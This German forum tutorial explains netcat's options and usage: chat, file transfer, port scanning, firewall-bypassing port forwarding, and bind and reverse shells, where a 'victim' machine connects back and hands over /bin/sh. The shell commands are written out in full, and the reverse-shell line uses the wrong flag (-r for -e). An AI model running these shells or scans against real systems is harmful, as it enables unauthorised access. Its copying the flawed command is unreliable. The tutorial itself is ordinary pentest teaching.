Netcat das schweizer Taschenmesser

Dieses Thema im Forum "Security Tutorials" wurde erstellt von NakedLunch, 4. Februar 2013 .

Schlagworte:
  1. 4. Februar 2013
    Zuletzt von einem Moderator bearbeitet: 15. April 2017
    1. Was ist netcat.
    1.1 Netcat wikipedia-definition
    1.2 Für normaluser

    2. Was kann ich mit netcat machen
    2.1. Netcat Parameter
    2.2. Netcat als chat
    2.3. Netcat zum Dateitransfer
    2.4. Netcat als Portscanner
    2.5. Netcat zum Portforwarden
    2.6. Netcat als remote-shell

    3. Netcat derivate

    (Im Grunde handelt es sich hier um eine grobe Übersetzung von folgendem Artikel:
    Netcat: TCP/IP Swiss Army Knife - InfoSec Institute)


    1. Was ist netcat

    1.1 Netcat, auch nc genannt, ist ein einfaches Werkzeug, um Daten von der Standardein- oder -ausgabe
    über Netzwerkverbindungen zu transportieren. Es arbeitet als Server oder Client mit den Protokollen
    TCP und UDP. Die Manpage bezeichnet es als TCP/IP swiss army knife (Schweizer Armeemesser für TCP/IP).

    1.2 Netcat ist eins der wichtigsten und vielseitigsten tools die man während eines Pentests
    gebrauchen kann. Netcat bietet den vorteil dass es klein ist und in nahezu allen situationen
    eingesetzt werden kann. Mit netcat kannst du zum beispiel eine remoteshell auf jeden beliebigen
    Port legen. Ports so forwarden dass du darauf zugreifen kannst( zum Beispiel wen nauf einem Host
    eine Firewall aktiv ist die aber nicht sagen wir Port 88 filtert, kannst du deine shell einfach
    auf diesen Port legen. Weiterhin kannst du netcat benutzen um kleine chats zu etablieren etc. Mit
    ein wenig kreativität kannst du mit diesem Programm so ziemlich alles machen.




    2. Was kann ich mit netcat machen?


    2.1 Der Vollständigkeit halber die netcat commands:

    connect to somewhere: nc [-options] hostname port [ports] ...
    listen for inbound: nc -l -p port [-options] [hostname] [port]
    options:
    -c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
    -e filename program to exec after connect [dangerous!!]
    -b allow broadcasts
    -g gateway source-routing hop point, up to 8
    -G num source-routing pointer: 4, 8, 12, ...
    -h this cruft
    -i secs delay interval for lines sent, ports scanned
    -k set keepalive option on socket
    -l listen mode, for inbound connects
    -n numeric-only IP addresses, no DNS
    -o file hex dump of traffic
    -p port local port number
    -r randomize local and remote ports
    -q secs quit after EOF on stdin and delay of secs
    -s addr local source address
    -T tos set Type Of Service
    -t answer TELNET negotiation
    -u UDP mode
    -v verbose [use twice to be more verbose]
    -w secs timeout for connects and final net reads
    -z zero-I/O mode [used for scanning]
    port numbers can be individual or ranges: lo-hi [inclusive];
    hyphens in port names must be backslash escaped (e.g. 'ftp\-data').


    2.2 Ein einfaches Beispiel: Nachrichten über TCP.Im Folgenden beispiel ist unser Server Box A und unser Client
    Box B. Auf BoxA starten wir jetzt unser netcat im listen modus. D.h. netcat lauscht auf den Port den wir zugewiesen
    auf eingehende Verbindungen. Wirmachen das mit dem commando:
    root@bt:- # nc -l -p 456 mit dem Parameter -l sagen wir netcat dass es im listen kodus starten soll und mit dem parameter
    -p bestimme nwir an welchem Port es dass tuen soll. Nun starten wir auf Box B den Cliente via:
    (localhost ersetzt ihr durch die Ip von Box B)
    root@bt-: # nc localhost 456 Das ganze sieht dann so aus:
    {bild-down: https://www.xup.in/dl,13505253/Screenshot-1.png/}

    {bild-down: https://www.xup.in/dl,24411276/Screenshot-2.png/}



    2.3 Datentransfer mit netcat
    Datenübertragung ist genauso einfach. Diesmal setzen wir wieder eine nServer auf und leiten alle ausgaben die wir haben in
    eine datei um. Auf BoxA starten wir netcat wie folgt: root@bt:- # nc -lv -p 456 > blub.txt und auf
    BoxB: root@bt-: # nc localhost 456 < test.txt was zur folge hat, dass der inhalt von test.txt nach blub.txt geschrieben wird.

    2.4 Netcat als Portscanner
    Netcat is kein nmap das is kalr aber manchmal isses ganz praktisch kurz mit netcat zu checken ob bestimmte ports offen sind.
    Das ist ebenfalls keine magie sonder per:
    root@bt:~# nc -v -w 2 -z raidrush.ws 1-100
    machbar und dass ganze sieht dann so aus:
    DNS fwd/rev mismatch: www. != raidrush.ws
    www. [95.211.75.230] 82 (?) open
    www. [95.211.75.230] 81 (?) open
    www. [95.211.75.230] 80 (www) open

    2.5 Jetzt kommen wir zu einem der coolsten features von nc Portforwarding. Sagen wir wir haben folgendes Szenario:

    BoxA <----> BoxB< - - - > BoxC In diesem Beispeil gehen wir mal davon aus dass wir eine shell auf BoxA:456 haben.
    |-------------|--------------| BoxA und BoxB können frei kommunizieren aber auf BoxB ist nur port 900 für E/A-Verkehr freigegeben.
    Intranet Internet Also brauchen wir eine möglichkeit um von BoxC aus mit BoxA zu kommunizieren und dort kommt netcat
    ins Spiel.

    Das ganze ist super easy was wir tun ist einfach auf unserer BoxB einen netcat server zu starten und ihm befehlen per netcat eine verbindung
    mit unserer BoxA aufzubauen wenn wir uns zu ihm verbinden. Der Spaß sieht dann so aus
    {bild-down: https://www.xup.in/dl,11256795/Screenshot-7.png/}

    {bild-down: https://www.xup.in/dl,12862933/Screenshot-8.png/}

    {bild-down: https://www.xup.in/dl,13841896/Screenshot-9.png/}


    2.6 Netcat als remote shell

    2.6.1 Bind Shell: Easy? root@bt:~# nc -lvv -p 456 -e /bin/sh Easy!
    Im Grunde machen wir nichts anderes als direkt zur shell zu connecten. Im Grunde leitet netcat jede eingabe die wir machen
    direkt in die Konsole um wo nc läuft.

    2.6.2 Reverse Shell: Easy? Nicht ganz so easy. Wir müssen unsere BoxA ( unser Opfer ) zu uns connecten lassen und dann unsere Daten empfangen lassen.
    Das machen wair indem wir auf unserer Box ( B ) einen netcat listener starten via ( root@bt:- # nc -l -vv -p 456 ) und unser opfer
    lassen wir per root@bt:- # nc -v BoxB 456 -r /bin/sh zu uns zurück verbinden. Easy ? Easy !


    3. Netcat Derivate
    SBD: SBD ist im grunde ein einfacher netcat Klon der Verschlüsselung unterstützt.
    Ncat: Im Grunde ein verbessertes Netcat bekommt ihr zusammen mit nmap wenn ich nc verinnerlicht habt solltet ihr uaf dieses Programm umsteigen.

    Zur ergänzung
     
    1 Person gefällt das.
  2. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.